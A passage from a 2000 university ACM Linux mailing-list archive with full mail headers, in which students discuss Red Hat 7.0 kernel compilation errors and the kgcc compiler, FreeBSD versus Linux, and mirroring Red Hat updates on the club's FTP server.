[Brian does a backflip off the soapbox] > > peace > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 16:25 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA22921 for ; Wed, 27 Sep 2000 16:25:16 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA29041; Wed, 27 Sep 2000 16:25:12 -0400 Received: from jhuml1.hcf.jhu.edu (jhuml1.hcf.jhu.edu [128.220.2.86]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA29034 for ; Wed, 27 Sep 2000 16:25:08 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUO9YFX728G5WB4D@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 16:24:55 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUO9YEBYBSG5XUHV@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 16:24:53 -0400 (EDT) Received: from cartman.jhu.edu (jhu0396.res.jhu.edu [128.220.38.190]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with ESMTP id QAA09234 for ; Wed, 27 Sep 2000 16:25:04 -0400 (EDT) Date: Wed, 27 Sep 2000 16:29:55 -0400 From: Jason Gordon Subject: Re: [Linux] redhat 7.0 In-reply-to: X-Sender: jbg1@jhunix.hcf.jhu.edu To: linux@acm.jhu.edu Message-id: <5.0.0.25.2.20000927161735.02e776a8@jhunix.hcf.jhu.edu> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0 References: Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii; format=flowed Content-Length: 1393 Lines: 44 At home, I run Tiny Linux (http://tiny.seul.org/en/) on a 486 w/16 mb Ram (now 64 mb). Its main use is a toy for me but I use it as a database/webserver/irc bounce. Its got: Linux 2.2.6. Server version: Apache/1.3.12 (Unix) Server built: Jul 27 2000 13:22:51 /usr/sbin/mysqld Ver 3.22.32 for pc-linux-gnu on i686 (had to use binary, couldnt compile) PHP Version 4.0.1pl2 Its also fairly stable: 4:26pm up 27 days, 21:12, 1 user, load average: 0.00, 0.00, 0.00 I know nothing about freebsd. Besides stability, what else would/could I gain for this machine. Also, what would I gain running freebsd as more of a workstation on my computer here which now runs Win2k. Any freebsd newbie tutorial things you know of to read that are good, since ive always seen so much about freebsd online but never really knew people use it much. Jason At 03:46 PM 9/27/2000 -0400, you wrote: >I have been using FreeBSD for five years >on my personal computer -- started w/ a dual booting 486 >with 16mb RAM. Way back then (in 1995) I had to choose >between Linux and FreeBSD, and I went with BSD because of >stability. >PS. If anyone decides to try BSD (Tahir, I mean you) feel >free to bug me with annoying newbie questions. I'll be glad >to help. _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 17:02 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA24204 for ; Wed, 27 Sep 2000 17:02:24 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA29726; Wed, 27 Sep 2000 17:00:41 -0400 Received: from jhuml1.hcf.jhu.edu (jhuml1.hcf.jhu.edu [128.220.2.86]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA29719 for ; Wed, 27 Sep 2000 17:00:39 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUOB7FYHYOG5XS5Q@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 17:00:25 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUOB7EPNNQG5XYJU@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 17:00:23 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with ESMTP id RAA79363 for ; Wed, 27 Sep 2000 17:00:34 -0400 (EDT) Date: Wed, 27 Sep 2000 17:00:34 -0400 From: Michael C Hilsdale To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Subject: [Linux] 2.2.17 compilation probs Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1118 Lines: 30 I just installed RH 7.0, and I've been trying to recompile my kernel with no success. I've tried the kernel source included with RH, I've downloaded and tried to use the 2.2.16 kernel source from kernel.org, and I've tried 2.2.17 (which I'd like to use). I've tried both with the default kernel config and with customized kernel configs. I make dep, make clean, and then make bzImage. It appears that make bzImage goes along fine until it gets into the arch/i386/lib directory. I usually get the following results: checksum.S:231: badly punctuated parameter list in #define checksum.S:237: badly punctuated parameter list in #define make[2]: *** [checksum.o] Error 1 make[2]: Leaving directory '/usr/src/linux-2.2.17/arch/i386/lib' make[1]: *** [first_rule] Error 2 make[1]: Leaving directory '/usr/src/linux-2.2.17/arch/i386/lib' make: *** [_dir_arch/i386/lib] Error 2 Either my computer specifically does not like me, or I'm doing something wrong. Any ideas? Thanks, - Mike _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 17:22 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA24702 for ; Wed, 27 Sep 2000 17:22:33 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA30277; Wed, 27 Sep 2000 17:22:31 -0400 Received: from localhost (slipcon@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA30269 for ; Wed, 27 Sep 2000 17:22:28 -0400 Date: Wed, 27 Sep 2000 17:22:28 -0400 (EDT) From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] 2.2.17 compilation probs In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1611 Lines: 50 What version of gcc are you using? RH7 includes two - kgcc-1.1.2-40.i386.rpm gcc-2.96-54.i386.rpm you've got to use kgcc to compile the kernel. I think you might have to edit the toplevel makefile to tell it to use kgcc instead of gcc. Scott On Wed, 27 Sep 2000, Michael C Hilsdale wrote: > I just installed RH 7.0, and I've been trying to recompile my kernel with > no success. I've tried the kernel source included with RH, I've > downloaded and tried to use the 2.2.16 kernel source from kernel.org, and > I've tried 2.2.17 (which I'd like to use). I've tried both with the > default kernel config and with customized kernel configs. > > I make dep, make clean, and then make bzImage. It appears that make > bzImage goes along fine until it gets into the arch/i386/lib directory. > > I usually get the following results: > checksum.S:231: badly punctuated parameter list in #define > checksum.S:237: badly punctuated parameter list in #define > make[2]: *** [checksum.o] Error 1 > make[2]: Leaving directory '/usr/src/linux-2.2.17/arch/i386/lib' > make[1]: *** [first_rule] Error 2 > make[1]: Leaving directory '/usr/src/linux-2.2.17/arch/i386/lib' > make: *** [_dir_arch/i386/lib] Error 2 > > Either my computer specifically does not like me, or I'm doing something > wrong. > > Any ideas? > > Thanks, > > - Mike > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 17:42 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA25119 for ; Wed, 27 Sep 2000 17:42:50 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA30765; Wed, 27 Sep 2000 17:42:46 -0400 Received: from smtp-a.capu.net (IDENT:0@smtp-a.capu.net [205.177.76.122]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA30758 for ; Wed, 27 Sep 2000 17:42:44 -0400 Received: from acm.jhu.edu (cd-176-101.ra30.dc.capu.net [64.50.176.101]) by smtp-a.capu.net (8.9.3/8.9.3) with ESMTP id RAA05759 for ; Wed, 27 Sep 2000 17:42:44 -0400 Message-ID: <39D26BC2.E1A1219C@acm.jhu.edu> Date: Wed, 27 Sep 2000 17:50:58 -0400 From: Jeremy Muhlich X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.16 i686) X-Accept-Language: en MIME-Version: 1.0 To: linux@acm.jhu.edu Subject: Re: [Linux] 2.2.17 compilation probs References: Content-Transfer-Encoding: 7bit Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 405 Lines: 16 Scott Lipcon wrote: > RH7 includes two - > kgcc-1.1.2-40.i386.rpm > gcc-2.96-54.i386.rpm > > you've got to use kgcc to compile the kernel. What the heck is that all about? I guess K is for Kernel, but what's the difference in the compilers? -- Jeremy _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 17:47 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA25268 for ; Wed, 27 Sep 2000 17:47:46 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA30919; Wed, 27 Sep 2000 17:47:44 -0400 Received: from localhost (slipcon@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA30912 for ; Wed, 27 Sep 2000 17:47:42 -0400 Date: Wed, 27 Sep 2000 17:47:42 -0400 (EDT) From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] 2.2.17 compilation probs In-Reply-To: <39D26BC2.E1A1219C@acm.jhu.edu> Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 730 Lines: 20 > > RH7 includes two - > > kgcc-1.1.2-40.i386.rpm > > gcc-2.96-54.i386.rpm > > > > you've got to use kgcc to compile the kernel. > > What the heck is that all about? I guess K is for Kernel, but what's > the difference in the compilers? I think gcc 2.96 doesn't compile the kernel cleanly, for some reasons which I don't remember. If you search the kernel archives you'll find it. I believe all those cases have been fixed in 2.4 kernels. RedHat decided that it was worth the trouble to ship two gcc's, in order to have the much better optimization for normal things. Scott _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 20:27 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA26743 for ; Wed, 27 Sep 2000 20:27:45 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA01248; Wed, 27 Sep 2000 20:27:32 -0400 Received: from mercea.net (postfix@cd-145-142.ra30.dc.capu.net [64.50.145.142]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA01241 for ; Wed, 27 Sep 2000 20:27:30 -0400 Received: from mercea.net (localhost.mercea.net [127.0.0.1]) by mercea.net (Postfix) with ESMTP id D892E2626D for ; Wed, 27 Sep 2000 20:27:29 -0400 (EDT) X-Mailer: exmh version 2.2_20000906 06/23/2000 with nmh-1.0 X-url: http://www.acm.jhu.edu/~slipcon/ X-image-url: http://www.acm.jhu.edu/~slipcon/images/scott.jpg From: Scott Lipcon To: linux@acm.jhu.edu Mime-Version: 1.0 Date: Wed, 27 Sep 2000 20:27:29 -0400 Message-Id: <20000928002729.D892E2626D@mercea.net> Subject: [Linux] more on the RH7 compilers.... Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 356 Lines: 9 turns out, gcc 2.96 that redhat is shipping doesn't exist. The latest official gcc is 2.95.2. RedHat took a snapshot of the 3.0 CVS development tree, called it 2.96 and made it the default compiler for RH7. ugh. Scott _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 20:55 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA27045 for ; Wed, 27 Sep 2000 20:55:52 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA01813; Wed, 27 Sep 2000 20:55:39 -0400 Received: from jhuml3.jhu.edu (jhuml3.jhu.edu [128.220.2.66]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA01795 for ; Wed, 27 Sep 2000 20:55:37 -0400 Received: from CONVERSION-DAEMON.jhuml3.jhu.edu by jhuml3.jhu.edu (PMDF V6.0-24 #46859) id <0G1K00I01NWFVF@jhuml3.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 20:55:27 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhuml3.jhu.edu (PMDF V6.0-24 #46859) with ESMTP id <0G1K00I56NWFQC@jhuml3.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 20:55:27 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with ESMTP id UAA20756 for ; Wed, 27 Sep 2000 20:55:26 -0400 (EDT) Date: Wed, 27 Sep 2000 20:55:26 -0400 From: Michael C Hilsdale Subject: Re: [Linux] 2.2.17 compilation probs In-reply-to: To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 2179 Lines: 68 Ugh. That didn't work either. I installed the kgcc package and modified /usr/src/linux/Makefile to use kgcc instead of gcc, but it still gives me the same error. Any more ideas? I assume that I'm the only one having problems compiling a new kernel while using RH 7.0? Thanks, - Mike On Wed, 27 Sep 2000, Scott Lipcon wrote: > What version of gcc are you using? > > RH7 includes two - > kgcc-1.1.2-40.i386.rpm > gcc-2.96-54.i386.rpm > > you've got to use kgcc to compile the kernel. > > I think you might have to edit the toplevel makefile to tell it to use > kgcc instead of gcc. > > Scott > > On Wed, 27 Sep 2000, Michael C Hilsdale wrote: > > > I just installed RH 7.0, and I've been trying to recompile my kernel with > > no success. I've tried the kernel source included with RH, I've > > downloaded and tried to use the 2.2.16 kernel source from kernel.org, and > > I've tried 2.2.17 (which I'd like to use). I've tried both with the > > default kernel config and with customized kernel configs. > > > > I make dep, make clean, and then make bzImage. It appears that make > > bzImage goes along fine until it gets into the arch/i386/lib directory. > > > > I usually get the following results: > > checksum.S:231: badly punctuated parameter list in #define > > checksum.S:237: badly punctuated parameter list in #define > > make[2]: *** [checksum.o] Error 1 > > make[2]: Leaving directory '/usr/src/linux-2.2.17/arch/i386/lib' > > make[1]: *** [first_rule] Error 2 > > make[1]: Leaving directory '/usr/src/linux-2.2.17/arch/i386/lib' > > make: *** [_dir_arch/i386/lib] Error 2 > > > > Either my computer specifically does not like me, or I'm doing something > > wrong. > > > > Any ideas? > > > > Thanks, > > > > - Mike > > > > _______________________________________________ > > Linux maillist - Linux@acm.jhu.edu > > http://www.acm.jhu.edu/mailman/listinfo/linux > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Thu Sep 28 11:40 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id LAA02519 for ; Thu, 28 Sep 2000 11:40:56 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id LAA13651; Thu, 28 Sep 2000 11:40:43 -0400 Received: from jhuml3.jhu.edu (jhuml3.jhu.edu [128.220.2.66]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id LAA13644 for ; Thu, 28 Sep 2000 11:40:40 -0400 Received: from CONVERSION-DAEMON.jhuml3.jhu.edu by jhuml3.jhu.edu (PMDF V6.0-24 #46859) id <0G1L00D01SVI6B@jhuml3.jhu.edu> for linux@acm.jhu.edu; Thu, 28 Sep 2000 11:40:30 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhuml3.jhu.edu (PMDF V6.0-24 #46859) with ESMTP id <0G1L00C60SVIYP@jhuml3.jhu.edu> for linux@acm.jhu.edu; Thu, 28 Sep 2000 11:40:30 -0400 (EDT) Received: from cartman.jhu.edu (fifreak@jhu0396.res.jhu.edu [128.220.38.190]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with ESMTP id LAA52782 for ; Thu, 28 Sep 2000 11:40:30 -0400 (EDT) Date: Thu, 28 Sep 2000 11:45:18 -0400 From: Jason Gordon X-Sender: jbg1@jhunix.hcf.jhu.edu To: linux@acm.jhu.edu Message-id: <5.0.0.25.2.20000928114448.02e6d390@jhunix.hcf.jhu.edu> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0 Subject: [Linux] REDHAT 7 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii; format=flowed Content-Length: 264 Lines: 9 Why 2 CDs? And do we need them both? ----------------------------------------------------------------- http://www.jasongordon.com _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Thu Sep 28 13:41 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA04083 for ; Thu, 28 Sep 2000 13:41:39 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA17778; Thu, 28 Sep 2000 13:41:26 -0400 Received: from chimera.acm.jhu.edu (IDENT:jonlin@chimera.acm.jhu.edu [128.220.223.63]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA17771 for ; Thu, 28 Sep 2000 13:41:23 -0400 Date: Thu, 28 Sep 2000 13:41:22 -0400 (EDT) From: Jonathan Lin To: linux@acm.jhu.edu Subject: Re: [Linux] redhat 7.0 In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1137 Lines: 38 would it make sense for someone to setup wget on a cron job to pull updates etc as well? I just noticed we don't have any of the rh6.2 updates. They just released a glibc patch that anyone who develops with Java on their box should use....it fixes a horrible bug that destroys SMP with the IBM jdk1.3 -j On Wed, 27 Sep 2000, Michael C Hilsdale wrote: > Use the ACM's mirror. If you're on the campus network, it'll be the > fastest download of the ISO that you'll be able to get. > ftp://ftp.acm.jhu.edu/pub/mirrors/linux/Redhat-7.0 > > - Mike > > On Wed, 27 Sep 2000, John Shiles wrote: > > > Has anyone found a good place to download redhat 7.0 yet, cause everywhere i try there is no iso? > > > > Thanks, > > John > > > > --------------------------------------------- > > John Shiles > > Dept of Computer Science > > Johns Hopkins University > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Thu Sep 28 13:55 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA04246 for ; Thu, 28 Sep 2000 13:55:19 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA18094; Thu, 28 Sep 2000 13:55:07 -0400 Received: from localhost (slipcon@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA18084 for ; Thu, 28 Sep 2000 13:55:03 -0400 Date: Thu, 28 Sep 2000 13:55:02 -0400 (EDT) From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] redhat 7.0 In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1511 Lines: 50 i used to have this set up, i think it got lost when we upgraded to rh6.2 outselves. i'll set it up again soon. scott On Thu, 28 Sep 2000, Jonathan Lin wrote: > > would it make sense for someone to setup wget on a cron job to pull > updates etc as well? I just noticed we don't have any of the rh6.2 > updates. They just released a glibc patch that anyone who develops with > Java on their box should use....it fixes a horrible bug that destroys SMP > with the IBM jdk1.3 > > -j > > On Wed, 27 Sep 2000, Michael C Hilsdale wrote: > > > Use the ACM's mirror. If you're on the campus network, it'll be the > > fastest download of the ISO that you'll be able to get. > > ftp://ftp.acm.jhu.edu/pub/mirrors/linux/Redhat-7.0 > > > > - Mike > > > > On Wed, 27 Sep 2000, John Shiles wrote: > > > > > Has anyone found a good place to download redhat 7.0 yet, cause everywhere i try there is no iso? > > > > > > Thanks, > > > John > > > > > > --------------------------------------------- > > > John Shiles > > > Dept of Computer Science > > > Johns Hopkins University > > > > > > > _______________________________________________ > > Linux maillist - Linux@acm.jhu.edu > > http://www.acm.jhu.edu/mailman/listinfo/linux > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Thu Sep 28 14:35 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA05026 for ; Thu, 28 Sep 2000 14:35:34 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA19435; Thu, 28 Sep 2000 14:35:22 -0400 Received: from localhost (slipcon@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA19428 for ; Thu, 28 Sep 2000 14:35:20 -0400 Date: Thu, 28 Sep 2000 14:35:20 -0400 (EDT) From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] redhat 7.0 In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1990 Lines: 64 OK, i've grabbed just the i386 and noarch updates. Does anyone run other archs? Are there other distributions' updates that we should mirror? BTW: RedHat 7 already has a couple updates... :) Scott On Thu, 28 Sep 2000, Scott Lipcon wrote: > i used to have this set up, i think it got lost when we upgraded to rh6.2 > outselves. i'll set it up again soon. > > scott > > On Thu, 28 Sep 2000, Jonathan Lin wrote: > > > > > would it make sense for someone to setup wget on a cron job to pull > > updates etc as well? I just noticed we don't have any of the rh6.2 > > updates. They just released a glibc patch that anyone who develops with > > Java on their box should use....it fixes a horrible bug that destroys SMP > > with the IBM jdk1.3 > > > > -j > > > > On Wed, 27 Sep 2000, Michael C Hilsdale wrote: > > > > > Use the ACM's mirror. If you're on the campus network, it'll be the > > > fastest download of the ISO that you'll be able to get. > > > ftp://ftp.acm.jhu.edu/pub/mirrors/linux/Redhat-7.0 > > > > > > - Mike > > > > > > On Wed, 27 Sep 2000, John Shiles wrote: > > > > > > > Has anyone found a good place to download redhat 7.0 yet, cause everywhere i try there is no iso? > > > > > > > > Thanks, > > > > John > > > > > > > > --------------------------------------------- > > > > John Shiles > > > > Dept of Computer Science > > > > Johns Hopkins University > > > > > > > > > > _______________________________________________ > > > Linux maillist - Linux@acm.jhu.edu > > > http://www.acm.jhu.edu/mailman/listinfo/linux > > > > > > > _______________________________________________ > > Linux maillist - Linux@acm.jhu.edu > > http://www.acm.jhu.edu/mailman/listinfo/linux > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From members-admin@acm.jhu.edu Fri Sep 29 15:55 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id PAA20704; Fri, 29 Sep 2000 15:52:34 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:nobody@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id PAA06993; Fri, 29 Sep 2000 15:52:29 -0400 Received: from localhost (dylan@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id LAA02519 for ; Fri, 29 Sep 2000 11:41:04 -0400 Date: Fri, 29 Sep 2000 11:41:04 -0400 (EDT) From: Dylan Adams To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] Programming Contest Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 330 Lines: 8 The ACM Local Programming Contest will be held on Saturday, October 7. Food and prizes will be provided by Trilogy Software, Inc. Please see 